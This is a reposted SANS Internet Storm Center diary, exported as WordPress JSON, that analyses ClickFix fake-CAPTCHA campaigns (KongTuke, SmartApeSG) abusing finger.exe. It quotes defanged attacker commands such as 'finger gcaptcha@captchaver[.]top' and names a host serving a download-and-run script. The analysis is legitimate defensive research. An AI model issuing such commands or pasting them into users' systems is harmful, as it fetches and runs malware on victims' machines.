{"id":9191,"date":"2025-12-14T04:03:30","date_gmt":"2025-12-14T04:03:30","guid":{"rendered":"https:\/\/serisec.com\/index.php\/2025\/12\/14\/32566\/"},"modified":"2025-12-14T04:03:30","modified_gmt":"2025-12-14T04:03:30","slug":"32566","status":"publish","type":"post","link":"https:\/\/serisec.com\/index.php\/2025\/12\/14\/32566\/","title":{"rendered":"ClickFix Attacks Still Using the Finger, (Sat, Dec 13th)"},"content":{"rendered":"<p>    ClickFix Attacks Still Using the Finger, (Sat, Dec 13th)<br \/>\n \t<BR><br \/>\n<BR><\/BR><br \/>\n    <!-- no image --><br \/>\n \t<BR><br \/>\n<BR><\/BR><\/p>\n<div>\n<p><em><strong>Introduction<\/strong><\/em><\/p>\n<p>Since as early as November 2025, the <a href=\"https:\/\/learn.microsoft.com\/en-us\/windows-server\/administration\/windows-commands\/finger\">finger<\/a> protocol has been used in <a href=\"https:\/\/www.microsoft.com\/en-us\/security\/blog\/2025\/08\/21\/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique\/\">ClickFix<\/a> social engineering attacks. BleepingComputer posted <a href=\"https:\/\/www.bleepingcomputer.com\/news\/security\/decades-old-finger-protocol-abused-in-clickfix-malware-attacks\/\">a report of this activity on November 15th<\/a>, and Didier Stevens posted a short follow-up <a href=\"https:\/\/isc.sans.edu\/diary\/Fingerexe+ClickFix\/32492\/\">in an ISC diary<\/a> the next day.<\/p>\n<p>I often investigate two campaigns that employ ClickFix attacks: <a href=\"https:\/\/isc.sans.edu\/diary\/32498\">KongTuke<\/a> and <a href=\"https:\/\/isc.sans.edu\/diary\/32474\">SmartApeSG<\/a>. When I checked earlier this week on Thursday, December 11th, both campaigns used commands that ran <span style=\"font-family:Courier New,Courier,monospace;\">finger.exe<\/span> in Windows to retrieve malicious content.<\/p>\n<p>So after nearly a month, ClickFix attacks are still giving us the finger.<\/p>\n<p><a href=\"https:\/\/i0.wp.com\/isc.sans.edu\/diaryimages\/images\/2025-12-13-ISC-Diary-image-01b.png?ssl=1\"><img data-recalc-dims=\"1\" decoding=\"async\" alt=\"\" src=\"https:\/\/i0.wp.com\/isc.sans.edu\/diaryimages\/images\/2025-12-13-ISC-Diary-image-01b.png?ssl=1\" style=\"border-width: 2px; border-style: solid; width: 975px; height: 745px;\"><\/a><br \/>\n<em>Shown above: ClickFix attacks running <span style=\"font-family:Courier New,Courier,monospace;\">finger.exe<\/span>.<\/em><\/p>\n<p><em><strong>KongTuke Example<\/strong><\/em><\/p>\n<p>My investigation of KongTuke activity on December 11th revealed a command for <span style=\"font-family:Courier New,Courier,monospace;\">finger gcaptcha@captchaver[.]top<\/span> from the fake CAPTCHA page.<\/p>\n<p><a href=\"https:\/\/i0.wp.com\/isc.sans.edu\/diaryimages\/images\/2025-12-13-ISC-Diary-image-04.png?ssl=1\"><img data-recalc-dims=\"1\" decoding=\"async\" alt=\"\" src=\"https:\/\/i0.wp.com\/isc.sans.edu\/diaryimages\/images\/2025-12-13-ISC-Diary-image-04.png?ssl=1\" style=\"border-width: 2px; border-style: solid;\"><\/a><br \/>\n<em>Shown above: Example of fake CAPTCHA page from the KongTuke campaign on December 11th, 2025.<\/em><\/p>\n<p>I recorded network traffic generated by running this ClickFix script, and I used the <span style=\"font-family:Courier New,Courier,monospace;\">finger<\/span> filter in Wireshark to find finger traffic over TCP port 79.<\/p>\n<p><a href=\"https:\/\/i0.wp.com\/isc.sans.edu\/diaryimages\/images\/2025-12-13-ISC-Diary-image-11.png?ssl=1\"><img data-recalc-dims=\"1\" decoding=\"async\" alt=\"\" src=\"https:\/\/i0.wp.com\/isc.sans.edu\/diaryimages\/images\/2025-12-13-ISC-Diary-image-11.png?ssl=1\" style=\"border-width: 2px; border-style: solid;\"><\/a><br \/>\n<em>Shown above: Finding finger traffic using the <span style=\"font-family:Courier New,Courier,monospace;\">finger<\/span> filter in Wireshark.<\/em><\/p>\n<p>Following the TCP stream of this traffic revealed text returned from the server. The result was a <span style=\"font-family:Courier New,Courier,monospace;\">powershell<\/span> command with Base64 encoded text.<\/p>\n<p><a href=\"https:\/\/i0.wp.com\/isc.sans.edu\/diaryimages\/images\/2025-12-13-ISC-Diary-image-06.png?ssl=1\"><img data-recalc-dims=\"1\" decoding=\"async\" alt=\"\" src=\"https:\/\/i0.wp.com\/isc.sans.edu\/diaryimages\/images\/2025-12-13-ISC-Diary-image-06.png?ssl=1\" style=\"border-width: 2px; border-style: solid;\"><\/a><br \/>\n<em>Shown above: Text returned from the server in response to the <span style=\"font-family:Courier New,Courier,monospace;\">finger<\/span> command.<\/em><\/p>\n<p><em><strong>SmartApeSG Example<\/strong><\/em><\/p>\n<p>My investigation of SmartApeSG activity on December 11th revealed a command for <span style=\"font-family:Courier New,Courier,monospace;\">finger Galo@91.193.19[.]108<\/span> from the fake CAPTCHA page.<\/p>\n<p><a href=\"https:\/\/i0.wp.com\/isc.sans.edu\/diaryimages\/images\/2025-12-13-ISC-Diary-image-03.png?ssl=1\"><img data-recalc-dims=\"1\" decoding=\"async\" alt=\"\" src=\"https:\/\/i0.wp.com\/isc.sans.edu\/diaryimages\/images\/2025-12-13-ISC-Diary-image-03.png?ssl=1\" style=\"border-width: 2px; border-style: solid;\"><\/a><br \/>\n<em>Shown above: Example of fake CAPTCHA page from the SmartApeSG campaign on December 11th, 2025.<\/em><\/p>\n<p>I recorded network traffic generated by running this ClickFix script, and I used the <span style=\"font-family:Courier New,Courier,monospace;\">finger<\/span> filter in Wireshark to find finger traffic over TCP port 79.<\/p>\n<p><a href=\"https:\/\/i0.wp.com\/isc.sans.edu\/diaryimages\/images\/2025-12-13-ISC-Diary-image-10a.png?ssl=1\"><img data-recalc-dims=\"1\" decoding=\"async\" alt=\"\" src=\"https:\/\/i0.wp.com\/isc.sans.edu\/diaryimages\/images\/2025-12-13-ISC-Diary-image-10a.png?ssl=1\" style=\"border-width: 2px; border-style: solid;\"><\/a><br \/>\n<em>Shown above: Finding finger traffic using the <span style=\"font-family:Courier New,Courier,monospace;\">finger<\/span> filter in Wireshark.<\/em><\/p>\n<p>Following the TCP stream of this traffic revealed text returned from the server. The result was a script to retrieve content from <span style=\"font-family:Courier New,Courier,monospace;\">pmidpils[.]com\/yhb.jpg<\/span> then save and run that content on the user&#8217;s Windows host.<\/p>\n<p><a href=\"https:\/\/i0.wp.com\/isc.sans.edu\/diaryimages\/images\/2025-12-13-ISC-Diary-image-05.png?ssl=1\"><img data-recalc-dims=\"1\" decoding=\"async\" alt=\"\" src=\"https:\/\/i0.wp.com\/isc.sans.edu\/diaryimages\/images\/2025-12-13-ISC-Diary-image-05.png?ssl=1\" style=\"border-width: 2px; border-style: solid;\"><\/a><br \/>\n<em>Shown above: Text returned from the server in response to the <span style=\"font-family:Courier New,Courier,monospace;\">finger<\/span> command.<\/em><\/p>\n<p><em><strong>Final Words<\/strong><\/em><\/p>\n<p>As Didier Stevens noted in <a href=\"https:\/\/isc.sans.edu\/diary\/32492\">last month&#8217;s diary<\/a> about this activity, corporate environments with an explicit proxy will block TCP port 79 traffic generated by <span style=\"font-family:Courier New,Courier,monospace;\">finger.exe<\/span>. However, if TCP port 79 traffic isn&#8217;t blocked, these attacks could still be effective.<\/p>\n<p>Bradley Duncan<br \/>\nbrad [at] malware-traffic-analysis.net<\/p>\n<p> (c) SANS Internet Storm Center. https:\/\/isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.<\/p><\/div>\n<p> \t<BR><br \/>\n <BR><\/BR><\/p>\n<p> \t<BR><br \/>\n<BR><\/BR><br \/>\n<a href=\"https:\/\/isc.sans.edu\/diary\/rss\/32566\">Go to isc.sans.edu<\/a><br \/>\n \t<BR><br \/>\n <BR><\/BR><\/p>\n","protected":false},"excerpt":{"rendered":"<p>ClickFix Attacks Still Using the Finger, (Sat, Dec 13th) Introduction Since as early as November 2025, the finger protocol has been used in ClickFix social engineering attacks. BleepingComputer posted a report of this activity on November 15th, and Didier Stevens posted a short follow-up in an ISC diary the next day. I often investigate two [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[56],"tags":[69],"class_list":["post-9191","post","type-post","status-publish","format-standard","hentry","category-isc-sans-edu","tag-isc-sans-edu"],"_links":{"self":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/9191"}],"collection":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/comments?post=9191"}],"version-history":[{"count":0,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/9191\/revisions"}],"wp:attachment":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/media?parent=9191"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/categories?post=9191"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/tags?post=9191"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}